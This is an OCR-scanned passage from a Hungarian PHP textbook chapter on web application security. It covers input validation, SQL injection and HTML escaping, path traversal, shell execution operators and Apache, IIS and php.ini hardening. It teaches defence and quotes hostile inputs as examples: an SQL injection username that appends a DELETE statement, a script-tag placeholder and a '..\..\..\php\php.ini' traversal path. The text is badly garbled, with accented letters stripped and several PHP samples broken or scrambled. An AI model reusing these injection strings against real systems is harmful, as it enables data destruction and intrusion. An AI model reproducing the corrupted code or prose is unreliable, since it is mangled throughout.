Kicsivel hosszabb ugyan ez a kd, de legalbb biztosak lehetnk benne, hogy helyes rtkeket kapunk, s ez igen fontos lehet, amikor a felhasznl nemnl bizalmasabb adarokkal kezdnk dolgozni. ltalnos szablyknt elmondhat, hogy soha nem elg felttelezni, hogy egy rlapbl szrmaz rtk az ort megadort rtkek valamelyike lesz - minden esetben ellenrizni is kell ezt.

Mg a legegyszerbb rtkeket is szrni kell


A HTML rlapelemekhez nincsen tpus trsrva, legtbbjk egyszeren karakterlncokat ad t a szervernek. (Ezek a karak
terlncok viszont akr dtumot, idt vagy szmot is jelkpezhetnek.) ppen ezrt numerikus mez esetn sem felttelezhet jk, hogy valban szmot vittek be rajta keresztl. Mg olyan krnyezetekben, ahol klnsen hatkony kliensoldali kddal prblnak megbizonyosodni arrl, hogy a bevirt rtk adott tpus-e, sincsen garancia arra, hogy az rtkeket nem kzvetlenl a kiszolglnak kldtk, ahogy azt az elz rszben lttuk. Egyszeren szavatolhatjuk, hogy egy rtk a vrt tpus legyen, ha az adott tpusra konvertljuk, majd azt az rtket hasz nljuk. Pldul gy:
$ejszakak_szama = (int)$_POST['ejsz szama']; if ($ejszakak_szama echo exit;
==

0)

"HIBA:

rvnytelen rtk az jszakk szmnl!";

Ha azt szeretnnk, hogy a felhasznl az adott orszgban szoksos formtumban adja meg a dtumot, ami pldul egyeslt llamokbeli felhasznJk es ern mm/dd!yy, azaz hh/ nn/ , akkor a checkdate nev PHP fggvny segtsgvel rhatunk olyan kdot, ami ellenrzi a dtum valdisgt. Ez a fggvny hnap, nap s v rtket fogad (az v ngy szmjeggyel rva), s arrl tjkoztat, hogy ezek az rtkek egytt rvnyes dtumot adnak-e ki:

ll a split a robstring-en keresztl mbcs-biztos (lsd 5. fejezet)


$mmddyy = spllt($_POST['tavozas datuma], if (count($mmddyy)

'/');

!= 3)

{
echo exit;
"HIBA:

rvnytelen dtum lett megadva!";

ll az olyan vek kezelse,


if ((int)$mmddyy[2]
<

mint a 02 vagy 95

100)

if ((int)$mmddyy[2] > 50) $mmddyy[2] = (int)$mmddyy[2] else if ((int)$mmddyy[2] >= 0) $mmddyy[2] = (int)$mmddyy[2]
+ +

1900; 2000;

16

ll klnben < O s a checkdate elkapja


if (!checkdate($mmddyy[0], $mmddyy[l], $mmddyy[2]))

{
echo exit;
"HIBA:

rvnytelen dtum lett megadva!";

Ha idt sznunk a bevirt adatok szrsre s rvnyestsre, nem csak az els lpsknt vgrehajtand, termszetes hibake resst knnytjk meg (pldul annak megllaptst, hogy egy repljegynl az indulsi dtum rvnyes dtumformtum-e), hanem egyrral rendszernk biztonsgt is nvelj k.

252

16. fejezet

Karakterlncok biztonsgoss ttele az SQL-re


A karakterlncok feldolgozsnak msik lehetsges clja, amikor az SQL injection tmadsok megelzse rdekben bizton sgoss tesszk ket. Az ilyen tmadsokrl mr beszltnk a MySQL PHP-beli hasznlarnL Ezeknl a rosszindulat fel hasznl a nem kellen vdett kdot s felhasznli jogosultsgokat prblja meg kiaknzni, hogy tovbbi SQL kdot futtatva szmunkra egyltaln nem kivnatos mveleteket hajtson vgre. Ha nem jrunk el kell gondossggal, az albbi felhasznlnv
cica_mica; DELETE FROM felhasznalok;

komoly problmt okozhat szmunkra. Ktflekppen elzhetjk meg az ilyen tpus biztonsgi incidenseker: Az SQL-en keresztl az adatbzisszervereknek kldtt sszes karakterlncot szrjk s lssuk el vdkarakterekkel! A mysql_escape_string, a mysqli:: real_escape_string vagy amysqli_real_escape_string fgg vnyt hasznlhatjuk erre a clra. Gyzdjnk meg arrl,hogy minden input megfelel annak, amit vrunk! Ha a felhasznli nevek legfeljebb 50 karakter hosszak lehetnek, s csak betkbl s szmokbl llhatnak,akkor biztosak lehetnk abban, hogy a nv vgn lev
DELETE FROM felhasznalok"
"

nem megengedett. Ha olyan PHP kdot runk, ami mr azt megelzen megbi

zonyosodik afell, hogy az input a lehetsges rtkeket veszi fel, mieltt az adatbzisszervernek elkldenk azt, sokkal tartalmasabb hibazenetet rhatunk ki,mint amilyet az adarbzis adna (ha az egyltaln ellenrizne ilyen dolgokat). s nem mellesleg a kockzatunkat is mrskeljk. A mysqli kiterjeszts azltal fokozza a biztonsgot,hogy egyeden lekrdezst enged lefuttam i a mysqli_ query vagy a mysqli::query metdussal. Tbb lekrdezs vgreh:Ytshoz a mysqli_multi_query vagy a mysqli: : multi_
query

metdust kell hasznlnunk,gy elkerlhetjk tovbbi, potencilisan kros utastsok vagy lekrdezsek futtatst .

A kimenet rtkeinek szrse vdkarakterekkel


A felhasznlk ltal bevitt adatok szrsvel megegyez fontossg,hogy kimeneteinket vdkarakterekkel lssuk el. Ha mr felhasznli rtkek szerepeinek rendszernkben, igen fontos megbizonyosodnunk arrl,hogy ezek nem tudnak krt tenni, s nem jrnak nem kivnt kvetkezmnyekkel. Olyan fggvnyekkel tehetjk ezt meg,amelyek gondoskodnak rla,hogy a kliens gpen lv bngsz ne rtse flre ezeket az rtkeket,s egyszeren szvegknt jelentse meg ket. Gondoljunk azokra az alkalmazsokra, amelyeknl fogjuk a felhasznl ltal bevitt inputot, majd valamelyik oldalon meg jelentjk! Pldaknt emlthetjk az zenfalakat vagy azokat az oldalakat, ahol a felhasznlk megjegyzseket rhatnak a cik kekhez. Ilyen esetekben figyelnnk kell, hogy a felhasznlk ne szrjanak be rosszindulat HTML jellket az ltaluk bevitt szvegbe. Ennek egyik legegyszerbb mdja a htmlspecialchars vagy a htmlentities fggvny hasznlata. Ezek fogjk a bemeneti karakterlncban lv egyes karaktereket, s HTLM entity-kk alaktjk azokat. A HTML entity rviden olyan k lnleges karaktersor, amely s karakterrel ( & ) kezddik, s HTML kdban nem egyszeren jelkpezhet, klnleges karak tert jell. Az s karakter utn az entity neve,majd a zr pontosvessz ( ; ) kvetkezik. Az entity opcionlisan JI s egy tzes szmrendszerbeli szm ltal meghatrozott ASCII kd is lehet, a perjel ( l ) esetben pldul &#4 7;. Mivel HTML-ben az sszes jellelemet
<

>

karakterek fogjk kzre,nem olyan egyszer ezeket a megjelentend car

ralom kimenetnek karakterlncba bevinni (mivel a bngsz alaprtelmezsben azt gondolja, hogy ezek jellelemekre utal

16

nak). Ehhez az &lt; s &gt; entity-t kell hasznlnunk. Ugyangy, ha s karaktert szecetnnk rakni a HTML-be, az &amp; entity-re van szksgnk. Az egyszeres s dupla idzjelet a &#3 9;, illetve a &quot; (bngsz) konvertlja kimenett, gy azok nem tekinthetk a jell rsznek. A htmlspecialchars s a htmlentities fggvny kztt a kvetkez a klnbsg: az elbbi alaprtelmezsben csak az &,
<

jelkpezi. Az entiry-ket a HTML kliens

>

karaktereket cserli le,opcionlisan pedig bellthatjuk,hogy az egyszeres s dupla idzjeleket is kezelje.

A htmle ntities viszont minden entiry-vel jelkpezhet karaktert lecserl. Ilyen entity tbbek kzte a szerzi jog szimb luma, a ,amit a &copy; jelkpez, vagy az &euro; ltal jelkpezett eur szimblum. A fggvny azonban nem konverrlja a karaktereket numerikus entiry-kk. Mindkt fggvny msodik paramtere hatrozza meg, hogy az egyszeres s dupla idzjelek entiry-kk legyenek-e alakt va, illetve harmadik paramterle hatrozza meg a karakterkszletet,amelybe a bemeneti karakterlnc kdolva lesz. (Ez igen fontos szmunkra, mert azt szerernnk, hogy a fggvny megbzhatan mkdjn UTF-8 karakrerlncainkon.) A msodik paramter lehetsges rtkei a kvetkezk:
ENT_COMPAT ENT_QUOTES

-A dupla idzjeleket &quo t; -ra alaktja t,de az egyszereseket rintetlenl hagyja. -Az egyszeres s a dupla idzjeleket is talaktja &#3 9; -re,illetve &quo t; -ra. (az alaprtelmezett rtk )- A fggvny ekkor sem az egyszeres, sem a dupla idzjeleket nem

ENT_NOQUOTES

alaktja t.

Webes alkalmazsok biztonsga

253

Gondoljuk vgig az albbi szveget!


Sbemenet1_sztring = "<p align=\"center\">A felhasznl ltal kldtt rtk: p> <script type=\"text/javascript\"> \"15000?\".</

ll ide kerl a rosszindulat JavaScript kd.


</script>";

Ha vgigfuttatnnk a kvetkez PHP kdon (az nl2br fggvnyt azrt futtatjuk a kimeneti karakterlncon, hogy a bn gszben szpen formzott legyen):
<?php Sstr = htmlspecialchars($bemenetl_sztring, echo nl2br($str); Sstr = htmlentities(Sbemeneti_sztring, echo nl2br($str); ENT_QUOTES, "UTF-8"); ENT_NOQUOTES, "UTF-8");

?>

kimenerknt az albbi szveget ltnnk:


&lt;p align="center"&gt;A felhasznl ezt adta neknk: <br /> &lt;script type="text/javascript"&gt;<br /> "15000?".&lt;/p&gt;<br />

ll ide kerl a rosszindulat JavaScript kd.<br />


&lt;/script&gt;&lt;p align=&quot;center&quot;&gt; A felhasznl ezt adta neknk: & quot;15000&euro;&quot;.&lt;/p&gt;<br /> <br /> &lt;script type=&quot;text/javascript&quot;&gt;<br />

ll ide kerl a rosszindulat JavaScript kd.<br />


&lt;/script&gt;

s a kvetkezkppen nzne ki a bngszben:


<p align="center"> A felhasznl ezt adta neknk: <script type="text/javascript"> "15000?".</p>

ll ide kerl a rosszindulat JavaScript kd.


</script><p align="center"> A felhasznl ezt adta neknk: "15000?".</p>

<script type="text/javascript">

ll ide kerl a rosszindulat JavaScript kd.


<l script>

Figyeljk meg, hogy a htmlentities fggvny entiry-re ( &euro; ) cserlre az eur szimblumt ( ), ng nem nylt hozz! Olyan esetekben, amikor meg kvnjuk engedni a felhasznlknak bizonyos HTML hasznlatt - pldul zenfalon, ahol a felhasznlk szvesen veszik, ha karakterek segitsgvel szablyozhatjk a bettpusr, -sznt s -stlust (flkvr vagy dlt) -, akkurtusan vgig kell nznnk a karakterlncokat, hogy azonostsuk s ne szrjk ki ezeket.
htmlspecialchars

16

Kdjaink szervezse
Egyes vlemnyek szerint a felhasznlk ltal az internetrl kzvetlenl nem elrhet fjlokat nem szabad a weboldal gykr knyvrrba helyezni. Ha pldul zenfalas honlapunk gykrknyvtra a /home/httpd/messageboard/www, a beillesztett fjlokat, illetve az oldalhoz rt brmely egyb fjlt mondjuk a /home/httpd/messageboard/code knyvrrba kell raknunk. Ha kdunkba szerernnk beilleszteni ezeket a fjlokat, a kvetkezket kellene rnunk:
require_once(' .. /code/felhasznaloi_objektum.php);

Az ilyen fok elvigyzatossg alapja az az eset, amikor egy rosszindulat felhasznl nem . php vagy .html fjira ir nyul krst intz. Sok webszerver alaprtelmezsben a kimeneti adatfolyamba rja az ilyen fjl tartalmr. gy, ha valahol a nyil vnos gykrknyvtrban trolnnk a felhasznaloi_objektum. php fjlt, s a felhasznl ezt a fjlt krn, kdunk reljes

254

16. fejezet

tartalma megjelenne a bngszben. Ekkor ez a felhasznl ltham, hogyan programoztuk az alkalmazst, s hozzfrne az esetlegesen a fjlban lv szellemi tulajdonunkhoz, illetve olyan biztonsgi hibt (exploit) tallhat, arnirl megfeledkeztnk. Ezt elkerlend gy kell webszervernket konfigurlni, hogy csak a . php s . html fjlok krst engedlyezze, a ms tpus fjlokra vonatkoz krseket pedig a kiszolgl hibazenettel utastsa el. Ugyangy rdemes minden ms fjlt, pldul a jelszfjlokat, a szveges fjlokat, a konfigurcis fjlokat vagy a klnleges knyvtrakat a nyilvnos gykrknyvtrtl tvol tartani. Mg ha azt is gondoljuk, hogy megfelelen kenfigurltuk webszervernket, elfordulhat, hogy megfeledkeztnk valamirl. Vagy, ha ksbb msik, nem megfelelen kenfigurit szerver re helyezzk t alkalmazsunkat, biztonsgi kockzamak lehetnk kitve. Amennyiben az allow_url_ fopen belltst bekapcsoljuk a php.ini fjlban, akkor elmletileg tvoli szerverekrl is be illeszthetnk vagy lekrhetnk fjlokat. Ez jabb biztonsgi hibaforrst jelent alkalmazsunk szmra, s jobban tennnk, ha vakednnk ms gpekrl szrmaz fjlok beillesztstL Klnsen olyan fjlok esetben, amelyek nem teljes mrtkben az irnytsunk alatt ll gpekrl szrmaznak. Hasonlkppen kerlend az is, hogy felhasznl ltal bevitt adatokat hasznl junk a beillesztend vagy lekrend fjlok kivlasztsra, mert a rossz input itt is problmkhoz vezethet.

Mi kerl a kdunkba?
Az eddig ltott, az adatbzisok elrsre szolgl kdrszletek egyszer szvegknt tartalmaztk az adatbzis nevt, a felhasz

nli nevet s a jelszt, pldul gy:


$kapcsolat = @new mysqli("localhost", "bob", "titok", "adatbazis");

Ez knyelmes ugyan, m kevsb biztonsgos, mert ha a crackerek rceszik a kezket a . php fjlunkra, a bob nev felhasz nl jogosultsgaival egybl hozzfrnek adatbzis unkhoz. Clszerbb a felhasznli nevet s jelszt olyan fjlba tenni, amely nem a webes alkalmazs gykrknyvtrban helyezkedik el, majd kdunkba beilleszteni azt, pldul gy:
<?php

ll ez az adatbazishoz kapcsolodas.php $adatbazis szerver = 'localhost'; $adatbazis_felhasznaloi_nev = 'bob'; $adatbazis_jelszo = 'titok'; $adatbazis_neve = 'adatbazis';

?>

<?php

include(' .. lcodeladatbazishoz kapcsolodas.php);

$kapcsolat = @new mysqli($adatbaz1s szerver,

$ adatbazis felhasznaloi_nev,

$ adatbazis

16
?>

jelszo, ll stb.

$ adatbazis_neve);

Javasolt ugyangy eljrni ms, hasonlan rzkeny adatokkal is, amelyekrl gy gondoljuk, hogy mg egy vdelmi rtegre rdemesek.

A fjlrendszerrel kapcsolatos, megfontoland szempontok


A PHP kialakitsakor figyelembe vettk a helyi fjlrendszer hasznlatnak lehetsgt. Kt krdst is rdemes vgig gondolnunk: Az ltalunk a lemezre rt fjlok kztt lesznek olyanok, amelyeket msok is lthatnak? Ha msok szmra is megadjuk ezt a lehetsget, vajon k is hozz tudnak frni olyan fjlokhoz, amelyekhez nem sze retnnk, ha hozzfrnnek (pldul letclpasswd) ? gyelnnk kell, hogy ne rjunk a lemezre tfog biztonsgi jogosultsgokkal br fjlokat, s ne rakjuk ket olyan helyre, ahol egy tbbfelhasznls opercis rends:zer, pldul a Unix klnb:z vltozatainak ms felhas:znli is elrhetik azokat.

Webes alkalmazsok biztonsga

255

Ezen tlmenen akkor is rendkvl vatosan kell eljrnunk, ha megengedjk a felhasznlknak, hogy berjk az ltaluk ltni kvnt fjl nevt. Ha gykrknyvtrunkban
Apache 2. 2. htdocs\)

(c: \Program

Files\Apache

Software

Foundation\

egy olyan fjlokkal teli knyvtr helyezkedik el, amelyhez hozzfrst adunk a felhasznlknak, s k

bevihetik a megtekinteni kvnt fjl nevt, akkor komoly problmink addhatnak, amennyiben a
.. \ . . \..\php\php.ini

fjlt szeretnk megnzni. Ezzel lehetv vlik szmukra, hogy megismerjk PHP-teleptsnket, s megnzzk, vannak-e olyan nyilvnval gyenge sgek, amiket kihasznlhatnnak. Ezt a problmt is knnyen orvosolhaguk: ha elfogadunk felhasznli bevitelt, szigoran szrnnk kell, hogy elkerlhessk az ilyen jelleg gondokat. Az elz pldban a ..\ elfordulsainak eltvoltsa minden bizonnyal segtene megelzni az ilyen problmt, mint ahogy az is, ha az olyan abszolt elrsi tvonalakat is kiszrjk, mint pldul a c: \mysql\my. ini .

A kd stabilitsa s kdhibk
Ahogy korbban mr utalrunk r, kdunk megfelel tesztelse s ellenrzse nlkl, illetve ha a kd annyira bonyolult, hogy tele van hibkkal, webes alkalmazsunk nagy valsznsggel nem fog megfelelen mkdni, vagy nem lesz kellen biztons gos. rdemes beismerni, hogy mi, programozk s az ltalunk rt kd egyarnt esend. Kpzeljk el, hogy valaki megnyit egy weboldalt, ber egy szt a keressi prbeszdabiakba (pldul azt, hogy difenesztrci), rkattint a"Keress" gombra, majd valami ilyesmit lt megjelenni:
;Oll! Ennek soha nem lett volna szabad megtrtnnie. BUG BUG BUG! 1!!

Ez a felhasznl rninden bizonnyal kevss fog bzni az oldal robusztussgban vagy biztonsgban. Ha a kezdetektl fogva tudatosan treksznk alkalmazsunk stabilitsra, s ennek megfelelen tervezzk, eredmnyesen cskkenthegle az emberi hibk miatt bekvetkez problmk valsznsgt. A kvetkez mdszerekkel rhegk el ezt a clt: Alapos tervezsi munka elzze meg termknk ltrehozst, s lehetsg szerint ksztsnk prototpusokat l Minl tb ben nzik t terveinket, annl nagyobb valsznsggel fogjuk kiszrni a lehetsges problmkat. Remek alkalom ez arra is, hogy hasznlhatsgi tesztet vgezznk alkalmazsunk kezelfelletn. Teremtsnk elegend tesztdsi erforrst projektnk szmra! Rengeteg projekten sprolnak ezen, vagy mindssze egyeden tesztel jut a projekt tven fejlesztjre. A fejlesztk jellemzen nem bizonyulnak j tesztelknek! Teljes mr tkben megbizonyosodnak ugyan arrl, hogy a megfelel inputtal kdjuk tkletesen mkdik, de kevsb megbzhatk az esetleges problmk feltrsban. A nagy szaftverfejleszt cgek majdnem ugyanannyi tesztelt s fejleszrt foglal koztatnak, s ugyan nem valszn, hogy fnkeink is meg fognak fizetni ilyen sok tesztelt, alkalmazsunk sikere vala mennyi tesztel erforrst mindenkppen ignyelni fog. Vegyk r fejlesztinket, hogy konkrt tesztdsi mdszertant kvessenek! Minden bizonnyal gy sem fogjk az sszes olyan hibt megtallni, amit egy tesztel megtallna, de mindenkppen segit elkerlni a regresszlst. Azt a szirucit nevezzk gy, amikor a korbban mr kijavtott problmk vagy hibk a kd egyb vltoztatsai miatt jbl megjelennek. A fejlesztknek csak akkor szabad megengedni, hogy vglegestsk a vltoztatsokat, ha minden egysg sikeresen tesztel te azokat. Az alkalmazst zembe helyezs utn, futs kzben is figyelni kell.A naplk rendszeres bngszsbl s a felhasznli/ fogyaszti szrevtelek elolvassbl kiderthet, hogy jelentkeznek-e komoly problmk vagy esetleges biztonsgi rsek. Ha igen, mr azeltt kezelni tudjuk ket, hogy kritikuss vlhatnnak.

16

Vgrehajt opertor s az e xe c parancs


Korbban rviden mr emltettk a parancssori

utasts-vgrehajt (shell command executor) vagy vgrehajt mveleti jel

(execution operator) nev funkcit. Ez alapveten olyan nyelvi opertor, amellyel tetszleges parancsokat futtatharunk pa rancshjban (Unix-szer opercis rendszerek esetben az sh valamilyen vltozata, Windows esetn a cmd.exe), ha fordtott idzjelek ( ') kz tesszk az adott parancsot. Fontos megjegyezni, hogy ez az idzjel nem azonos a sima, egyszeres id zjellel ( ').Angol nyelv billentykioszts esetn a bal fels sarokban helyezkedik el a billenty, ms nyelv billentyzeten ugyanakkor komoly kihvs lehet megrallni. A vgrehajt mveleti jel a lefuttatott program szveges kimenett tartalmaz sztringrtket adja vissza. Ha van egy olyan szveges fjlunk, ami nevekbl s telefonszmokbl ll listt tartalmaz, a grep paranccsal sszellt hatjuk a"Smith" szt tartalmazk listjt. A
grep [args) grep

Unix-szer parancs, amely a keresend karakterlncmintt s azon fjlok

listjt vrja, amelyek kzt keresnie kell.A keresend mintnak megfelel sorokat adja vissza.
minta kereses helye...

256

16. fejezet

A grepnek lteznek windowsos vltozatai, st, Windows alatt elrhet a findstr.exe nev, hasonlan hasznlhat program is. Az albbi kd futtatsval tallhatnnk meg a ,.Smith" nev embereket:
<?php ll az -i azt jelenti, $users = hogy nincs klnbsg kis- s nagybet kztt

'grep -i smith lhomelhttpdlwwwltelefonszamok.txt';

ll a kimeneti sorok felbontsa tmbbe ll figyelem, Windows alatt a \n helyett \r\n legyen! "\n"); $sorok = split($felhasznalok, foreach ($sorok as $sor) ll a neveket s a telefonszmokat , $nevek_szama = split($sorok, echo "Nv: {$nevek szama[O] }, ',
'

karakter vlasztja el {$nevek_szama[l] }<brl>\n";

);

Telefon#:

?>

Ha brmikor is megengedjk, hogy felhasznli input kerljn a fordtott idzjelek kztt lv parancsba, klnbz biztonsgi veszlyforrsoknak tesszk ki magunkat, s rendszernk biztonsga rdekben szigoran szrni kell ezt az inputot. A minimlis vintzkeds az escapeshellcmd fggvny hasznlata. Ha azonban biztosra szecernnk menni, ennl is szigo rbban kell korltozni a lehetsges inputokat. Mg ennl is rosszabb, hogy mivel alapesetben alacsony szint jogosulrsgi krnyezetben szetetnnk futtatni webszervernket s a PHP-t (erre a kvetkez rszekben mg bvebben visszatrnk), knnyen olyan helyzetben talljuk magunkat, hogy ezen parancsok futtatshoz magasabb szint jogosultsgokat kell kiosztanunk. Ezzel tovbb veszlyeztetjk biztonsgunkar. Az opertor hasznlara zleti krnyezetben igen nagyfok krltekintst s vatossgor ignyel.
Az exee parancs s a rendszerfggvnyek a vgrehajt opertorhoz nagyon hasonlan viselkednek, a klnbsg annyi,

hogy a parancsor kzvetlenl, nem pedig hjkrnyezetben futtatjk, s - a vgrehajt opertorral ellenttben - nem mindig adjk vissza a teljes kimenetet. Ugyanazokat a biztonsgi agglyokat hozzk el, gy ugyanazok a figyelmezrersek rvnyesek rjuk is.

Webszervernk s

PHP biztonsgoss ttele

Nem elegend kdunk biztonsgossgval trdni, a PHP-t futtat webszervernk teleptse s konfigurlsa is komoly biztonsgi agglyokat hordoz magban. A szmtgpeinkre s szervereinkre teleptend szoftverek nagy rszt olyan konfigu rcis fjlokkal s alaprtelmezett funkcikszleetei kapjuk, amelyek a szoftver erejt s hasznossgt hivatottak demonstrlni. A gyrtk azt felrtelezik, hogy kikapcsoljuk a szmunkra szksgtelen s/vagy a kvntnl kevsb biztonsgos funkcikat.

16

Sajnos sokan teljesen megfeledkeznek errl, vagy nem sznnak r elegend idt, hogy megfelelen vgrehajtsk. A bizronsg,.holiszrikus" megkzeltse megkveteli, hogy webszervereink s a PHP megfelel konfigurlsrl is gondos kodjunk. Br nincsen lehetsgnk bemutatni, hogyan lehet rninden szba jhet webszervert s PHP kiterjesztst biztons goss tenni, legalbb nmi rmpontot s irnymutarst adunk az elindulshoz, illetve ahhoz, hogyan tudunk a tmban tovbbi informcihoz jutni.

Tartsuk szoftvereinket naprakszen!


Rendszernk biztonsgt a legegyszerbben gy tudjuk elsegteni, ha gondoskodunk arrl, hogy az ltalunk hasznlt szaft vernek mindig a legfrissebb s legbiztonsgosabb vltozata fusson. A PHP, az Apache HTTP Server s a Microsofr Internet Information Server (IlS) esetben ez azt jelenti, hogy tbb-kevesebb rendszeressggel felkeressk a megfelel honlapokat (http://www.php.ner, hrrpd.apache.org vagy www.microsofr.com/iis), ahol biztonsgi tancsokat s j verzikat keresnk, illetve az j funkcik listjt bngszve megnzzk, vannak-e kztk a biztonsghoz kapcsold javtsok.

Webes alkalmazsok biztonsga

257

Az j verzi belltsa
Egyes szoftverek konfigurlsa s teleptse idignyes, szmos lpsbl ll folyamat lehet. Klnsen a Unix-verzik esetn, amikor forrsbl teleptnk, szmos olyan egyb szaftver lehet, amit eltte telepteni kell, majd a megfelel modulok s kiter jesztsek bekapcsalshoz szmos parancssori kapcsal belltsra van mg szksg. Nagyon fontos: kszesnk magunknak rvid teleptsi tmutatt, amit a szaftver jabb verziinak teleptsekor kvetni fogunk! gy biztosan nem fogunk megfeledkezni az olyan foncos dolgokrl, amik csak problmkat okoznnak a ksbbiekben. A vgrehajtand lpsek magas szma rniatt igen valszntlen, hogy a telepts sorn minden egyes apr rszletet fejben ru dunk tartani.

Az j verzi zembe helyezse


A teleptse soha nem szabad elszr kzvetlenl az zemben lv kiszolgln vgrehajtani. Mindig legyen tesztszervernk, amelyre telepteni rudjuk a szaftvert s a webes alkalmazst, s meggyzdhetnk arrl, hogy rninden rendben mkdik-e! Az olyan nyelvek esetben, mint a PHP, ahol egyes alaprtelmezett belltsok verzirl verzira vltozhatnak, klnsen fontos, hogy megfelel tesztek lefuttatsval megbizonyosounk: a szaftver j vltozata nem lehet negatv hatssal alkalmazsunk mkdsre. Nem felttlenl szksges komoly sszegekrt j szrnitgpet beszerezni a telepts s a konfigurci tesztelsre. Az olyan programok, amelyekkel opercis rendszernkn bell msik opercis rendszert futatharunk (pldul a VMware, Inc. VMware vagy a Microsoft VirrualPC szoftvere), lehetv teszik, hogy akrulisan futtatott opercis rendszernkn bell vg rehajtsuk a tesztelse. Ha megbizonyosadtunk rla, hogy a szaftver j verzijn is megfelelen mkdik webes alkalmazsunk, az lesben mkd kiszolglinkon is zembe helyezhetjk. Itt megint csak arra kell gyelnnk, hogy a folyamat vagy teljesen automatizlt legyen, vagy paprra (esetleg egy fjlba) feljegyezzk a telepts sorn kvetend lpsekec, hogy a megfelel szerverkrnyezet poncos mst lltsuk el. Az les kiszolgln is szksg van nmi vgs tesztelsre, hogy biztosak lehessnk abban, valban minden a megfelel mdon mkdik (lsd a 16.2 brn).

sszellits

)o

Tesztels

)o

zembe helyezs
l. szerverre msols 2. alapvet mkds

l. kiszolgl

l. alapvet mkds

felptse
2. PHP teleptse 3. konfigurcis fjlok

ellenrzse
2. resztsorozat futtatsa 3. egysgtesztek fut

ellenrzse
3. resztsorozat futtatsa 4. egysgtesztek

bellitsa
4. dokumentumok

rarsa
4. terhelsi tesztek

konfigurlsa

elvgzse

5. ad hoc tesztek
futtatsa

futtatsa

16.2 bra: Kiszolglszoftver frisstsnek folyamata

A php. ini

fjl tartalma

Ha eddig mg nem szntuk r magunkat a php.ini fjl tbngszsre, itt a remek alkalom, hogy betltsk valarnilyen szveg

szerkesztbe, s megvizsgljuk a tartalmr! Az ilyen fjlok bejegyzseinek nagy rsze megfelel megjegyzsekkel rendelkezik, amelyek hasznlatukat rjk le. Ezen kvl a funkciterlet/kiterjeszts neve szerinc vannak rendezve, gy az mbstring kon figurcis opcik neve mbstring-gel kezddik, a munkamenetekkel (session) kapcsolatosak pedig session eltaggal brnak (23. fejezet: Munkamenet-vezrls PHP-ben). A modulok rengeteg olyan konligurcis belltst knlnak, amelyeket soha nem fogunk hasznlni, s amelyek miart-ha ezek a modulok nincsenek bekapcsolva-aggdnunk sem kell. A hasznlt modulok esetben azonban fontos, hogy a PHP on line kziknyvben (http://www.php.net/manual) tnzzk dokumentcijukat, s tisztban legynk az egyes kiterjesztsek opciival, illetve azok lehetsges rtkeiveL Meginc csak ersen ajnlott, hogy rendszeres biztonsgi mentseket ksztsnk php.ini fjlunkrl, vagy rjuk fel, hogy milyen vltoztatsokat hajtottunk vgre benne, hogy j verzik teleptse esetn biztosak lehessnk benne: a megfelel belltsokkal hasznljuk. Az ezekkel a belltsokkal kapcsolatos egyetlen trkk, hogy PHP-ben rt rgi szaftver hasznlata esetn j esllyel szksg lehet a register globals s/vagy a register long arrays bekapcsolsra. Ebben az esetben sajt magunknak
_ _ _

16
\,

kell eldnteni, hogy az adott szaftver hasznlata megri-e a biztonsgi kockzatot. E kockzat egybknt gy mrskelhec, ha rendszeresen utnanznk a szaftverhez tartoz biztonsgi javtsoknak vagy egyb frisstseknek.

258

16. fezet

A webszerver konfigurlsa
Ha mr megfelelnek talljuk a PHP konfigurlst, forditsuk figyelmnket a webszerver fel! A biztonsg szempontjbl minden kiszolglnl ms konfigurlsi folyamat vr rnk, mi most a kt legnpszerbb, az Apache HTTP Server s a Micro soft IlS bellitst tekintjk t.

Apache HTTP Server

A httpd szerver alaprtelmezett teleptse elfogadhatan biztonsgos, m rdemes nhny dolgot alaposan leellenrizni, mie ltt lesben zembe helyeznnk a kiszolglt. Az sszes konfigurcis belltst a httpd. conf nev fjlban talljuk, amely ltalban a httpd alapteleptsnek l conf alknyvtrban helyezkedik el (ami nem ms, rnint a /usr l local/apache/ conf vagy a C: \Program Files\Apache Software Foundation\Apache 2. 2\conf) . Ne felejtsk el elolvasni a ki szolgl online dokumentcijban (http://httpd.apache.org/docs-project) a vonatkoz biztonsgi rszeket! Ezen tlmenen tegyk a kvetkezket: Ellenrizzk, hogy a httpd superuser jogosultsgok nlkli felhasznlknt fut (Unix esetn pldul nobody vagy httpd ) ! Ezt a httpd. confUser s Group bellirsai szablyozzk. Ellenrizzk az Apache teleptsi knyvtr fjljogosultsgainak megfelel belltst! Unix esetn ez magban foglalja azt, hogy a gykrknyvtr (amely alaprtelmezetten a htdocs/ alknyvtrat hasznlja) kivtelvel minden knyvtr a root tulajdonban van, s 7 55 jogosultsggal rendelkezik. Ellenrizzk, hogy a szerver gy legyen belltva, hogy megfelel szm kapcsolatot tudjon kezelni! A httpd 1.3.x verziinak felhasznli esetben olyan sszer szmot rdemes a MaxClients rtknek adni, amely egyidej leg mg feldolgozhat (az alaprtelmezett rtk, a 150 teljesen sszer, de ha nagyobb terhelsre szmtunk, meg emelhetjk azt). Az Apache 2.x verziknl, ahol lehetsges a multithreading (tbb szJon fut feladat-vgrehajts), a ThreadsPerChild rtket kell ellenrizni (az alaprtelmezett rtk, az 50 ltalban elfogadhat). A httpd. conf fjlba megfelel direktvkat belevve rejtsk el a fjlokat, arniket nem szeretnnk, ha ms is ltna! Ha pldul az . inc fjlok megtekinthetsgt szeretnnk megakadlyozni, az albbiakat kell bernunk:

<Files

"\.inc$"> deny

Order allow, Deny from all

</Files>

Mint mr emltettk, minl elbb tvoltsuk el ezeket a fjlokat az adott weboldal gykrknyvtrbl!

Microsoft IlS
Az liS konfigurlsa kevsb a belltsfjlok krl forog, rnint az Apache HTTP Server esetn, ennek ellenre szmos dolgot

16

meg kell tennnk az liS teleptsnek biztonsgoss ttele rdekben: vakodjunk attl, hogy a weboldalak ugyanarra a meghajtra kerljenek, rnint az opercis rendszer! Hasznljuk az NTFS fjlrendszert, s fordtsunk idt arra, hogy a szksges helyekrl eltvoltsuk az rsi jogosultsgo kat! Trljk ki az liS ltal alaprtelmezsben a gykrknyvtrba teleptett sszes fjlt! Nagy valsznsggel zek tl nyom tbbsgt soha nem fogjuk hasznlni (st, knnyen lehet, hogy egyiket sem). Teleptskor jelents mennyisg tartalom kerl az \inetpub knyvtrba, amelyre, hacsak nem hasznljuk az online konfigurcis eszkzket (s ne hasznljuk ezeket, vlasszuk inkbb az iisadrnin segdalkalmazst!), nem lesz szksgnk. Kerljk a gyakori nevek hasznlatr! Rengeteg automatizlt program ltezik, amely a gykrknyvtrunk gyakori nev alknyvtraiban (pldul Scripts/, egi -bin/, b in/ stb.) kutat kdok s prograrnak utn. Ismt csak ajnlani tudjuk, hogy az liS 